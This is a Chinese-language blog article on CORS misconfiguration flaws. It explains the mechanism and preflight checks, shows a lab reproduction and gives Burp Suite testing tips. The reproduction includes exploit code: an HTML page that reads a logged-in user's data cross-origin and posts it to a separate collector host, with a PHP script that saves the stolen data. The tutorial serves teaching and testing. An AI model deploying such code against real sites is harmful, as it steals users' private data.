浅析CSRF跨域读取型漏洞之CORS

news2025/7/12 19:13:23

目录

前提知识

CORS介绍

跨域访问的一些场景

跨域请求方式

漏洞原理

非简单请求的预检过程

安全隐患

漏洞复现

挖掘技巧

防御


前提知识

CORS介绍

H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。

跨域访问的一些场景

  1. 比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
  2. 程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送ajax请求,请求另外一个页面的内容的时候,就会跨域。
  3. 电商网站想通过用户浏览器加载第三方快递网站的物流信息。
  4. 子站域名希望调用主站域名的用户资料接口,并将数据显示出来。

跨域请求方式

CORS定义了两种跨域请求,简单跨域请求和非简单跨域请求。

只要同时满足以下两大条件,就属于简单请求。

  • 1.请求方法是以下三种方法之一
  • HEAD
  • GET
  • POST
  • 2.HTTP的头信息不超出以下几种字段
  • Accept
  • Accept-Language
  • Content-Language
  • Last-Event-ID
  • Content-Typeapplication/x-www-form-urlencodedmultipart/form-datatext/plain

浏览器对简单请求和非简单请求的处理机制不一样。对于简单请求,浏览器就会立刻发送这个请求。对于非简单请求,浏览器不会马上发送这个请求,而是有一个preflight,跟服务器验证的过程。浏览器先发送一个options方法的预检请求。

漏洞原理

非简单请求的预检过程

  1. 浏览器先发送一个options方法的请求。带有如下字段:
    Origin: 普通的HTTP请求也会带有,在CORS中专门作为Origin信息供后端比对,表明来源域。
    Access-Control-Request-Method: 接下来请求的方法,例如PUT, DELETE等等
    Access-Control-Request-Headers: 自定义的头部,所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中

  2. 然后如果服务器配置了cors,会返回对应对的字段,具体字段含义在返回结果是一并解释。
    Access-Control-Allow-Origin: 
    Access-Control-Allow-Methods:
    Access-Control-Allow-Headers:

  3. 然后浏览器再根据服务器的返回值判断是否发送非简单请求。简单请求前面讲过是直接发送,只是多加一个origin字段表明跨域请求的来源。然后服务器处理完请求之后,会再返回结果中加上如下控制字段:
    Access-Control-Allow-Origin: 允许跨域访问的域,可以是一个域的列表,也可以是通配符"*"。这里要注意Origin规则只对域名有效,并不会对子目录有效。即http://foo.example/subdir/ 是无效的。但是不同子域名需要分开设置,这里的规则可以参照同源策略
    Access-Control-Allow-Credentials: 是否允许请求带有验证信息,这部分将会在下面详细解释
    Access-Control-Expose-Headers: 允许脚本访问的返回头,请求成功后,脚本可以在XMLHttpRequest中访问这些头的信息(貌似webkit没有实现这个)
    Access-Control-Max-Age: 缓存此次请求的秒数。在这个时间范围内,所有同类型的请求都将不再发送预检请求而是直接使用此次返回的头作为判断依据,非常有用,大幅优化请求次数
    Access-Control-Allow-Methods: 允许使用的请求方法,以逗号隔开
    Access-Control-Allow-Headers: 允许自定义的头部,以逗号隔开,大小写不敏感

  4. 然后浏览器通过返回结果的这些控制字段来决定是将结果开放给客户端脚本读取还是屏蔽掉。如果服务器没有配置cors,返回结果没有控制字段,浏览器会屏蔽脚本对返回信息的读取。

安全隐患

这个流程中。服务器接收到跨域请求的时候,并没有先验证,而是先处理了请求。所以从某种程度上来说。在支持cors的浏览器上实现跨域的写资源,打破了传统同源策略下不能跨域读写资源。

如果将Access-Control-Allow-Origin设置为允许来自所有域的跨域请求。那么cors的安全机制几乎就无效了。但是这里在设计的时候有一个很好的限制。xmlhttprequest发送的请求需要使用“withCredentials”来带上cookie,如果一个目标域设置成了允许任意域的跨域请求,这个请求又带着cookie的话,这个请求是不合法的。(就是如果需要实现带cookie的跨域请求,需要明确的配置允许来源的域,使用任意域的配置是不合法的)浏览器会屏蔽掉返回的结果。

CORS服务端的 Access-Control-Allow-Origin 设置为了 *,并且 Access-Control-Allow-Credentials 设置为false,这样任何网站都可以获取该服务端的任何数据了。
有一些网站的Access-Control-Allow-Origin他的设置并不是固定的,而是根据用户跨域请求数据的Origin来定的。这时,不管Access-Control-Allow-Credentials 设置为了 true 还是 false。任何网站都可以发起请求,并读取对这些请求的响应。意思就是任何一个网站都可以发送跨域请求来获得CORS服务端上的数据。

漏洞复现

这里以droabox靶场为例,如图,这个接口会返回已登录的用户的信息数据,通过访问该网页的响应我们看到这里可能存在CORS跨域资源共享漏洞

恶意js代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Cors</title>
</head>
<body>
<script>
    function cors() {
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function () {
            if(xhr.readyState == 4){
                alert(xhr.responseText);
            }
        }
        // xhr.= twithCredentials rue;
        xhr.open("GET",'http://localhost:8999/csrf/userinfo.php');
        xhr.send();
    }
    cors();
</script>
</body>
</html>

漏洞利用代码

exp.html

</head>
<body>
<script>
    function cors() {
        var xhr = new XMLHttpRequest();
        var xhr1 = new XMLHttpRequest();
        xhr.onreadystatechange = function () {
            if(xhr.readyState == 4){
                alert(xhr.responseText)
                var data = xhr.responseText;
                xhr1.open("POST","http://127.0.0.1:8098/coleak.php",true);
                xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
                alert(data);
                xhr1.send("coleak="+escape(data));
                // body = document.getElementsByTagName('body')
                // body[0].innerHTML = xhr.responseText;
            }
        }
        //xhr.withCredentials = true;
        xhr.open("GET",'http://localhost:8999/csrf/userinfo.php');
        xhr.send();
    }
    cors();
</script>
</body>
</html>

coleak.php

<?php
$data = $_POST['coleak'];
if($data){
	$myfile = fopen("data.html","w");
	fwrite($myfile,$data);
	fclose($myfile);
}

此时生成data.html

挖掘技巧

在之前我们了解了一些关于CORS跨域资源共享通信的一些字段含义,CORS的漏洞主要看当我们发起的请求中带有Origin头部字段时,服务器的返回包带有CORS的相关字段并且允许Origin的域访问。
一般测试WEB漏洞都会用上BurpSuite,而BurpSuite可以实现帮助我们检测这个漏洞。
首先是自动在HTTP请求包中加上Origin的头部字段,打开BurpSuite,选择Proxy模块中的Options选项,找到Match and Replace这一栏,勾选Request header 将空替换为Origin:example.com的Enable框。
当我们进行测试时,看服务器响应头字段里可以关注这几个点:
最好利用的配置:
Access-Control-Allow-Origin: www
Access-Control-Allow-Credentials: true
可能存在可利用的配置:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
很好的条件但无法利用:
下面这组配置组合虽然看起来很完美但是CORS机制已经默认自动禁止了这种组合,算是CORS的最后一道防线
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
单一的情况
Access-Control-Allow-Origin:*

防御

将下面设置改为设置白名单

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/396126.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

7天收割10个offer,软件测试面试题 (项目经验问题+回答)(超级全细)

目录&#xff1a;导读前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09;前言 1、简单介绍下最近做…

Android Vsync原理简析

屏幕渲染原理"现代计算机之父"冯诺依曼提出了计算机的体系结构: 计算机由运算器&#xff0c;存储器&#xff0c;控制器&#xff0c;输入设备和输出设备构成&#xff0c;每部分各司其职&#xff0c;它们之间通过控制信号进行交互。计算机发展到现在&#xff0c;已经出…

E90-DTU系列无线数传电台网关与节点4gDTU通信教程

以E90-DTU(400SL22-ETH)与E90-DTU(400SL22)为例实现网关与节点进行数据交换&#xff0c;其它频段或功率的网关/节点&#xff0c;其操作方式与该视频教程一致。 第一步【安装网关】 为网关安装天线电源模块。 第二步【调试网关】&#xff08;根据连接方式不同&#xff0c;配置方…

【java】Java 重写(Override)与重载(Overload)

文章目录重写(Override)方法的重写规则Super 关键字的使用重载(Overload)重载规则实例重写与重载之间的区别总结重写(Override) 重写是子类对父类的允许访问的方法的实现过程进行重新编写, 返回值和形参都不能改变。即外壳不变&#xff0c;核心重写&#xff01; 重写的好处在于…

城市通电(prim算法)

acwing3728 蓝桥杯集训每日一题 平面上遍布着 n 座城市&#xff0c;编号 1∼n。 第 i 座城市的位置坐标为 (xi,yi) 不同城市的位置有可能重合。 现在要通过建立发电站和搭建电线的方式给每座城市都通电。 一个城市如果建有发电站&#xff0c;或者通过电线直接或间接的与建…

重温数据结构与算法之深度优先搜索

文章目录前言一、实现1.1 递归实现1.2 栈实现1.3 两者区别二、LeetCode 实战2.1 二叉树的前序遍历2.2 岛屿数量2.3 统计封闭岛屿的数目2.4 从先序遍历还原二叉树参考前言 深度优先搜索&#xff08;Depth First Search&#xff0c;DFS&#xff09;是一种遍历或搜索树或图数据结…

数据结构(七)优先级队列——堆

一、优先级队列概念队列是一种先进先出(FIFO)的数据结构&#xff0c;但有些情况下&#xff0c;操作的数据可能带有优先级&#xff0c;一般出队列时&#xff0c;可能需要优先级高的元素先出队列&#xff0c;该中场景下&#xff0c;使用队列显然不合适&#xff0c;比如&#xff1…

前端秘籍之=>八股文经卷=>(原生Js篇)【持续更新中...】

大家好&#xff0c;最近想了想&#xff0c;打算总结归纳一版前端八股文经卷&#xff0c;给大家提供学习参考&#xff0c;如果帮助到大家&#xff0c;请大家&#xff0c;一键三连支持一下&#xff0c;你们的支持会激励我更加努力的更新更多有用的知识&#xff0c;博主先在这里谢…

ONLYOFFICE中利用chatGPT帮助我们策划一场生日派对

近日&#xff0c;人工智能chatGPT聊天机器人爆火&#xff0c;在去年年底发布后&#xff0c;仅仅两个月就吸引了全球近一亿的用户&#xff0c;成为史上最快的应用消费程序&#xff0c;chatGPT拥有强大的学习和交互能力 可以被学生&#xff0c;教师&#xff0c;上班族各种职业运…

C++复习笔记1

字符串 字符串的输入 面向行输入&#xff1a;getline() 通过回车键来确定输入结尾&#xff0c;调用方法为cin.getline() 面向行的输入&#xff1a;get() 处理换行符方法&#xff1a; cin.get(name,20); cin.get(); cin.get(nn,20); 或者将两个类成员函数拼接起来 混合输入…

超赞,用python实现流媒体服务器功能,寥寥几句搞定。

步骤&#xff1a; 要使用Python将实时摄像机传送流写入H5页面&#xff0c;可以使用以下步骤。 1、安装必要的软件包。您需要安装OpenCV和Flask以及gunicorn 与 gevent 。您可以通过在终端中运行以下命令来执行此操作。 pip install opencv-python pip install Flask pip ins…

buu [HDCTF2019]together 1

题目描述&#xff1a; 给了4个文件 pubkey2.pem:-----BEGIN PUBLIC KEY----- MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQB1qLiqKtKVDprtSNGGN q7jLqDJoXMlPRRczMBAGJIRsz5Dzwtt1ulr0s5yu8RdaufiYeU6sYIKk92b3yygL FvaYCzjdqBF2EyTWGVE7PL5lh3rPUfxwQFqDR8EhIH5xOb8rjlkftI…

SQL的优化思路和使用规范

1、索引优化 1.1 建表或加索引时&#xff0c;保证表里互相不存在冗余索引。 对于MySQL来说&#xff0c;如果表里已经存在key(a,b)&#xff0c;则key(a)为冗余索引&#xff0c;需要删除。 1.2 复合索引 建立索引时&#xff0c;多考虑建立复合索引&#xff0c;并把区分度最高…

基于Django4.1.4的入门学习记录

基于Django4.1.4的入门学习记录Django创建Django项目创建工程工程目录说明运行开发服务器settings.py配置文件应用的创建创建应用模块应用模块文件说明App应用配置注册安装子应用数据模型ORM概述定义模型类生成数据库表查看数据库文件Admin管理工具管理界面本地化创建管理员注册…

STM32CubeMX使用说明

目录1 软件安装1.1 软件&环境下载1.1.1 STM32CubeMX软件下载1.1.2 Java环境下载1.2 安装1.2.1 Java环境安装1.2.2 STM32CubeMX软件安装2 软件启动与安装库文件2.1 软件界面2.2 修改默认库文件路径2.3 在线安装固件库3 新建第一个工程3.1 新建工程3.2 选择MCU型号3.3 设置De…

30min入手正则表达式

限定符a* a出现任意次a a出现次数不为0a&#xff1f;a出现&#xff08;1&#xff09;或不出现a{n}a出现n次a{n,nx}a出现在n——nx次a{2&#xff0c;}a至少出现2次或运算符&#xff08;a|b&#xff09;a或者b中选一个&#xff08;ab&#xff09;|&#xff08;cd&#xff09;ab或…

安卓反编译入门04-对反编译重新打包的APK进行重新签名

重签的前提需要安装java环境&#xff0c;我电脑安装的地址&#xff1a;C:\Program Files\Java\.重签的文件目录地址要在jdk的bin目录.进入命令行&#xff0c;执行 cd/d C:\Program Files\Java\jdk1.8.0_181\bin(注意&#xff0c;由于这个文件C:\Program Files要用管理员权限才能…

HBaseAPI——IDEA操作HBase数据库HBase与Hive的集成

目录 一、IDEA操作HBase数据库 (一)添加依赖 (二)配置log4j (三)IDEA连接HBase并插入数据 1.代码实现 2.查看命名空间的表 (四)java操作HBase数据库——单元测试 1.导包 2.初始化 3.关闭连接 4.创建命名空间 5.创建表 6.删除命名空间下的指定表 7.查看所有的命…

【记录nuxt2项目运行遇到的问题】

背景 前段时间小老弟离职了,之前交给他的nuxt2官网项目又回到了我的手中,然后产品跟我说有几个东西需要优化一下,我说小意思,然后我就clone了最新代码准备露一手,然后…我项目就跑不起来了…理论上来说不应该啊,之前这个项目我开发过,不存在环境上的兼容,然后我就npm,cnpm,yarn…

从0开始自制解释器——实现多位整数的加减法计算器

上一篇我们实现了一个简单的加法计算器&#xff0c;并且了解了基本的词法分析、词法分析器的概念。本篇我们将要对之前实现的加法计算器进行扩展&#xff0c;我们为它添加以下几个功能 计算减法能自动识别并跳过空白字符不再局限于单个整数&#xff0c;而是能计算多位整数 提…